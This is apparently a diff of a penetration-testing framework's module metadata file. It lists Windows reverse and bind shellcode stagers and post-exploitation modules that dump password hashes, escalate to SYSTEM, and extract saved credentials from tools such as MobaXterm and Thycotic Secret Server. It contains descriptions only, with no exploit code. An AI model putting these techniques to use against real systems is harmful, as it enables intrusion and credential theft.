"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_tcp_rc4_dns": {
"name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)",
"fullname": "payload/windows/custom/reverse_tcp_rc4_dns",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_tcp_rc4_dns",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_tcp_uuid": {
"name": "Windows shellcode stage, Reverse TCP Stager with UUID Support",
"fullname": "payload/windows/custom/reverse_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"OJ Reeves"
],
"description": "Custom shellcode stage. Connect back to the attacker with UUID Support",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_udp": {
"name": "Windows shellcode stage, Reverse UDP Stager with UUID Support",
"fullname": "payload/windows/custom/reverse_udp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"RageLtMan <rageltman@sempervictus>"
],
"description": "Custom shellcode stage. Connect back to the attacker with UUID Support",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_udp.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_udp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_winhttp": {
"name": "Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)",
"fullname": "payload/windows/custom/reverse_winhttp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows winhttp)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_winhttp.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_winhttp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_winhttps": {
"name": "Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)",
"fullname": "payload/windows/custom/reverse_winhttps",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Custom shellcode stage. Tunnel communication over HTTPS (Windows winhttp)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_winhttps.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_winhttps",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/dllinject/bind_hidden_ipknock_tcp": {
"name": "Reflective DLL Injection, Hidden Bind Ipknock TCP Stager",
"fullname": "payload/windows/dllinject/bind_hidden_ipknock_tcp",
@@ -197013,6 +200941,511 @@
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/bind_ipv6_tcp": {
"name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager",
"fullname": "payload/windows/x64/custom/bind_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Listen for an IPv6 connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/bind_ipv6_tcp_uuid": {
"name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support",
"fullname": "payload/windows/x64/custom/bind_ipv6_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/bind_named_pipe": {
"name": "Windows shellcode stage, Windows x64 Bind Named Pipe Stager",
"fullname": "payload/windows/x64/custom/bind_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"UserExistsError"
],
"description": "Custom shellcode stage. Listen for a pipe connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/bind_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/bind_tcp": {
"name": "Windows shellcode stage, Windows x64 Bind TCP Stager",
"fullname": "payload/windows/x64/custom/bind_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Listen for a connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/bind_tcp_rc4": {
"name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/x64/custom/bind_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"max3raza",
"RageLtMan"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/bind_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/bind_tcp_uuid": {
"name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)",
"fullname": "payload/windows/x64/custom/bind_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Custom shellcode stage. Listen for a connection with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_http": {
"name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)",
"fullname": "payload/windows/x64/custom/reverse_http",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"OJ Reeves"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_https": {
"name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)",
"fullname": "payload/windows/x64/custom/reverse_https",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"agix",
"rwincey"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_named_pipe": {
"name": "Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager",
"fullname": "payload/windows/x64/custom/reverse_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"OJ Reeves"
],
"description": "Custom shellcode stage. Connect back to the attacker via a named pipe pivot",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_tcp": {
"name": "Windows shellcode stage, Windows x64 Reverse TCP Stager",
"fullname": "payload/windows/x64/custom/reverse_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Connect back to the attacker (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_tcp_rc4": {
"name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/x64/custom/reverse_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"max3raza",
"RageLtMan"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_tcp_uuid": {
"name": "Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)",
"fullname": "payload/windows/x64/custom/reverse_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Custom shellcode stage. Connect back to the attacker with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_winhttp": {
"name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)",
"fullname": "payload/windows/x64/custom/reverse_winhttp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"OJ Reeves"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows x64 winhttp)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_winhttp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/custom/reverse_winhttps": {
"name": "Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)",
"fullname": "payload/windows/x64/custom/reverse_winhttps",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"OJ Reeves"
],
"description": "Custom shellcode stage. Tunnel communication over HTTPS (Windows x64 winhttp)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_winhttps",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/x64/encrypted_shell/reverse_tcp": {
"name": "Windows Command Shell, Encrypted Reverse TCP Stager",
"fullname": "payload/windows/x64/encrypted_shell/reverse_tcp",
@@ -199398,7 +203831,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-11-17 13:44:19 +0000",
"mod_time": "2022-10-18 08:47:24 +0000",
"path": "/modules/post/android/gather/hashdump.rb",
"is_install_path": true,
"ref_name": "android/gather/hashdump",
@@ -199697,7 +204130,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-11-02 08:54:04 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/post/bsd/gather/hashdump.rb",
"is_install_path": true,
"ref_name": "bsd/gather/hashdump",
@@ -201066,7 +205499,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-02-15 14:35:38 +0000",
"mod_time": "2022-09-01 14:56:28 +0000",
"path": "/modules/post/linux/gather/enum_system.rb",
"is_install_path": true,
"ref_name": "linux/gather/enum_system",
@@ -201253,7 +205686,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-04-21 10:19:30 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/post/linux/gather/hashdump.rb",
"is_install_path": true,
"ref_name": "linux/gather/hashdump",
@@ -201268,6 +205701,56 @@
],
"needs_cleanup": null
},
"post_linux/gather/mimipenguin": {
"name": "MimiPenguin",
"fullname": "post/linux/gather/mimipenguin",
"aliases": [
],
"rank": 300,
"disclosure_date": "2018-05-23",
"type": "post",
"author": [
"huntergregal",
"bcoles <bcoles@gmail.com>",
"Shelby Pace"
],
"description": "This searches process memory for needles that indicate\n where cleartext passwords may be located. If any needles\n are discovered in the target process memory, collected\n strings in adjacent memory will be hashed and compared\n with password hashes found in `/etc/shadow`.",
"references": [
"URL-https://github.com/huntergregal/mimipenguin",
"URL-https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919",
"URL-https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490",
"CVE-2018-20781"
],
"platform": "Linux",
"arch": "x86, x64, aarch64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/post/linux/gather/mimipenguin.rb",
"is_install_path": true,
"ref_name": "linux/gather/mimipenguin",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null
},
"post_linux/gather/mount_cifs_creds": {
"name": "Linux Gather Saved mount.cifs/mount.smbfs Credentials",
"fullname": "post/linux/gather/mount_cifs_creds",
@@ -205645,7 +210128,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-03-24 08:11:24 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/post/solaris/gather/hashdump.rb",
"is_install_path": true,
"ref_name": "solaris/gather/hashdump",
@@ -205770,7 +210253,7 @@
"needs_cleanup": null
},
"post_windows/escalate/getsystem": {
"name": "Windows Escalate Get System via Administrator",
"name": "Windows Escalation",
"fullname": "post/windows/escalate/getsystem",
"aliases": [
@@ -205781,7 +210264,7 @@
"author": [
"hdm <x@hdm.io>"
],
"description": "This module uses the builtin 'getsystem' command to escalate\n the current session to the SYSTEM account from an administrator\n user account.",
"description": "This module uses the `getsystem` command to escalate the current session to the SYSTEM account using various\n techniques.",
"references": [
],
@@ -205791,7 +210274,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-06-23 18:43:18 +0000",
"mod_time": "2022-09-16 14:53:45 +0000",
"path": "/modules/post/windows/escalate/getsystem.rb",
"is_install_path": true,
"ref_name": "windows/escalate/getsystem",
@@ -206137,7 +210620,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-09-23 17:41:20 +0000",
"path": "/modules/post/windows/gather/bitlocker_fvek.rb",
"is_install_path": true,
"ref_name": "windows/gather/bitlocker_fvek",
@@ -206675,7 +211158,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-20 12:16:26 +0000",
"mod_time": "2022-09-23 17:41:20 +0000",
"path": "/modules/post/windows/gather/credentials/domain_hashdump.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/domain_hashdump",
@@ -207182,7 +211665,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-09-23 17:41:20 +0000",
"path": "/modules/post/windows/gather/credentials/gpp.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/gpp",
@@ -207835,6 +212318,51 @@
],
"needs_cleanup": null
},
"post_windows/gather/credentials/moba_xterm": {
"name": "Windows Gather MobaXterm Passwords",
"fullname": "post/windows/gather/credentials/moba_xterm",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"Kali-Team <kali-team@qq.com>"
],
"description": "This module will determine if MobaXterm is installed on the target system and, if it is, it will try to\n dump all saved session information from the target. The passwords for these saved sessions will then be decrypted\n where possible, using the decryption information that HyperSine reverse engineered.",
"references": [
"URL-https://blog.kali-team.cn/Metasploit-MobaXterm-0b976b993c87401598be4caab8cbe0cd"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-10-06 01:39:28 +0000",
"path": "/modules/post/windows/gather/credentials/moba_xterm.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/moba_xterm",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null
},
"post_windows/gather/credentials/mremote": {
"name": "Windows Gather mRemote Saved Password Extraction",
"fullname": "post/windows/gather/credentials/mremote",
@@ -208363,6 +212891,51 @@
],
"needs_cleanup": null
},
"post_windows/gather/credentials/redis_desktop_manager": {
"name": "RedisDesktopManager credential gatherer",
"fullname": "post/windows/gather/credentials/redis_desktop_manager",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"Kali-Team"
],
"description": "PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.\n PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.\n Further details can be found in the module documentation.\n This is a module that searches for RedisDesktopManager credentials on a windows remote host.",
"references": [
"URL-https://blog.kali-team.cn/Metasploit-PackRat-RedisDesktopManager-42dc7ab063f040d182da0f1fc16db74e"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-14 17:03:42 +0000",
"path": "/modules/post/windows/gather/credentials/redis_desktop_manager.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/redis_desktop_manager",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null
},
"post_windows/gather/credentials/safari": {
"name": "Safari credential gatherer",
"fullname": "post/windows/gather/credentials/safari",
@@ -208911,6 +213484,51 @@
],
"needs_cleanup": null
},
"post_windows/gather/credentials/thycotic_secretserver_dump": {
"name": "Delinea Thycotic Secret Server Dump",
"fullname": "post/windows/gather/credentials/thycotic_secretserver_dump",
"aliases": [
],
"rank": 0,
"disclosure_date": "2022-08-15",
"type": "post",
"author": [
"npm <npm@cesium137.io>"
],
"description": "This module exports and decrypts Secret Server credentials to a CSV file;\n it is intended as a post-exploitation module for Windows hosts with Delinea/Thycotic\n Secret Server installed. Master Encryption Key (MEK) and associated IV values are\n decrypted from encryption.config using a static key baked into the software. The\n module also supports parameter recovery for encryption configs configured with\n Windows DPAPI.",
"references": [
"URL-https://github.com/denandz/SecretServerSecretStealer"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-29 13:58:54 +0000",
"path": "/modules/post/windows/gather/credentials/thycotic_secretserver_dump.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/thycotic_secretserver_dump",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null
},
"post_windows/gather/credentials/tlen": {
"name": "Tlen credential gatherer",
"fullname": "post/windows/gather/credentials/tlen",
@@ -210221,7 +214839,7 @@
"author": [
"Joshua Abraham <jabra@rapid7.com>"
],
"description": "This module identifies the primary domain via the registry. The registry value used is:\n HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\DCName.",
"description": "This module identifies the primary Active Directory domain name\n and domain controller.",
"references": [
],
@@ -210231,7 +214849,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-09-08 13:35:22 +0000",
"path": "/modules/post/windows/gather/enum_domain.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_domain",
@@ -210239,9 +214857,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"shell",
"powershell"
],
"needs_cleanup": null
},
@@ -210258,7 +214887,7 @@
"Carlos Perez <carlos_perez@darkoperator.com>",
"Stephen Haywood <haywoodsb@gmail.com>"
],
"description": "This module extracts user accounts from specified group\n and stores the results in the loot. It will also verify if session\n account is in the group. Data is stored in loot in a format that\n is compatible with the token_hunter plugin. This module should be\n run over as session with domain credentials.",
"description": "This module extracts user accounts from the specified domain group\n and stores the results in the loot. It will also verify if session\n account is in the group. Data is stored in loot in a format that\n is compatible with the token_hunter plugin. This module must be\n run on a session running as a domain user.",
"references": [
],
@@ -210268,7 +214897,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-09-22 17:05:19 +0000",
"path": "/modules/post/windows/gather/enum_domain_group_users.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_domain_group_users",
@@ -210276,6 +214905,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
@@ -210294,7 +214932,7 @@
"author": [
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "This module will enumerate tokens present on a system that are part of the\n domain the target host is part of, will also enumerate users in the local\n Administrators, Users and Backup Operator groups to identify Domain members.\n Processes will be also enumerated and checked if they are running under a\n Domain account, on all checks the accounts, processes and tokens will be\n checked if they are part of the Domain Admin group of the domain the machine\n is a member of.",
"description": "This module enumerates domain account tokens, processes running under\n domain accounts, and domain users in the local Administrators, Users\n and Backup Operator groups.",
"references": [
],
@@ -210304,7 +214942,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-20 12:16:26 +0000",
"mod_time": "2022-09-10 13:54:39 +0000",
"path": "/modules/post/windows/gather/enum_domain_tokens.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_domain_tokens",
@@ -210312,6 +214950,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
@@ -210641,7 +215288,7 @@
"author": [
"Brandon Perry <bperry.volatile@gmail.com>"
],
"description": "This module will enumerate the OS license key",
"description": "This module will enumerate Microsoft product license keys.",
"references": [
],
@@ -210651,7 +215298,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-24 16:06:55 +0000",
"mod_time": "2022-08-21 16:00:27 +0000",
"path": "/modules/post/windows/gather/enum_ms_product_keys.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_ms_product_keys",
@@ -210659,9 +215306,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"powershell",
"shell"
],
"needs_cleanup": null
},
@@ -210750,7 +215408,7 @@
"zeroSteiner <zeroSteiner@gmail.com>",
"mubix <mubix@hak5.org>"
],
"description": "This module will attempt to enumerate which patches are applied to a windows system\n based on the result of the WMI query: SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering.",
"description": "This module enumerates patches applied to a Windows system using the\n WMI query: SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering.",
"references": [
